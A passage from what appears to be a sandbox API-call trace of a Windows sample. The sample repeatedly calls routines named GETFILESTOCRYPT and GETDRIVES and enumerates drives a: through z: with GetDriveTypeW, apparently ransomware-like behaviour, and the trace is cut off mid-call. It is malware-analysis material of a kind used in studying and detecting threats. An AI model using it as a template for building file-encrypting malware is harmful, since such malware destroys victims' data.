lpMsg=0x130f204) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.752] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.752] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.752] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.752] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.752] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.752] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.752] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.753] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.753] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.753] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.753] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.753] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.753] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.753] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.753] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.753] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.753] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.754] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.755] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.756] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.756] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.756] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.756] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.756] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.756] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.756] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.756] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.756] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.756] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.756] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.756] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.756] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.757] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.757] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.757] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.757] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.757] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.757] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.757] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.757] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.757] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.757] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.757] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.757] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.758] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.758] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.758] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.758] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.758] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.758] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.758] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.759] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.760] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.760] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.760] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.760] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.760] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.760] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.760] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.760] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.760] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.761] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.761] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.761] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.761] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.761] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.761] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.761] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.761] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.761] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.761] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.761] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.761] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.761] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.761] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.761] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.761] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.762] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.762] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.763] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.764] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.764] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.764] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.764] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.764] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.764] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.764] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.764] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.765] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.765] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.765] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.765] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.765] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.765] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.765] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.765] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.765] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.765] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.765] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.766] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.766] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.766] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.766] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.766] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.766] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.766] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.766] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.767] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.768] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.769] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.769] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.769] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.769] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.769] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.769] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.769] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.770] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.770] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.770] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.770] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.770] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.770] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.770] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.770] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.770] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.770] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.770] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.771] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="u:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="v:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="w:\\") returned 0x1 [0089.772] GetDriveTypeW (lpRootPathName="x:\\") returned 0x1 [0089.773] GetDriveTypeW (lpRootPathName="y:\\") returned 0x1 [0089.773] GetDriveTypeW (lpRootPathName="z:\\") returned 0x1 [0089.773] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.773] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.773] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.773] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.773] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.773] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.773] CharUpperBuffW (in: lpsz="GETFILESTOCRYPT", cchLength=0xf | out: lpsz="GETFILESTOCRYPT") returned 0xf [0089.773] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.773] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="", cchCount1=0, lpString2="", cchCount2=0) returned 2 [0089.773] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.774] PeekMessageW (in: lpMsg=0x130f614, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f614) returned 0 [0089.774] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.776] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.776] PeekMessageW (in: lpMsg=0x130f86c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f86c) returned 0 [0089.776] CharUpperBuffW (in: lpsz="GETDRIVES", cchLength=0x9 | out: lpsz="GETDRIVES") returned 0x9 [0089.776] PeekMessageW (in: lpMsg=0x130f204, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x130f204) returned 0 [0089.777] CharLowerBuffW (in: lpsz="REMOVABLE", cchLength=0x9 | out: lpsz="removable") returned 0x9 [0089.777] GetDriveTypeW (lpRootPathName="a:\\") returned 0x1 [0089.777] GetDriveTypeW (lpRootPathName="b:\\") returned 0x1 [0089.777] GetDriveTypeW (lpRootPathName="c:\\") returned 0x3 [0089.777] GetDriveTypeW (lpRootPathName="d:\\") returned 0x1 [0089.777] GetDriveTypeW (lpRootPathName="e:\\") returned 0x1 [0089.777] GetDriveTypeW (lpRootPathName="f:\\") returned 0x1 [0089.777] GetDriveTypeW (lpRootPathName="g:\\") returned 0x1 [0089.777] GetDriveTypeW (lpRootPathName="h:\\") returned 0x1 [0089.777] GetDriveTypeW (lpRootPathName="i:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="j:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="k:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="l:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="m:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="n:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="o:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="p:\\") returned 0x1 [0089.778] GetDriveTypeW (lpRootPathName="q:\\") returned 0x1 [0089.779] GetDriveTypeW (lpRootPathName="r:\\") returned 0x1 [0089.779] GetDriveTypeW (lpRootPathName="s:\\") returned 0x1 [0089.779] GetDriveTypeW (lpRootPathName="t:\\") returned 0x1 [0089.779] GetDriveTypeW 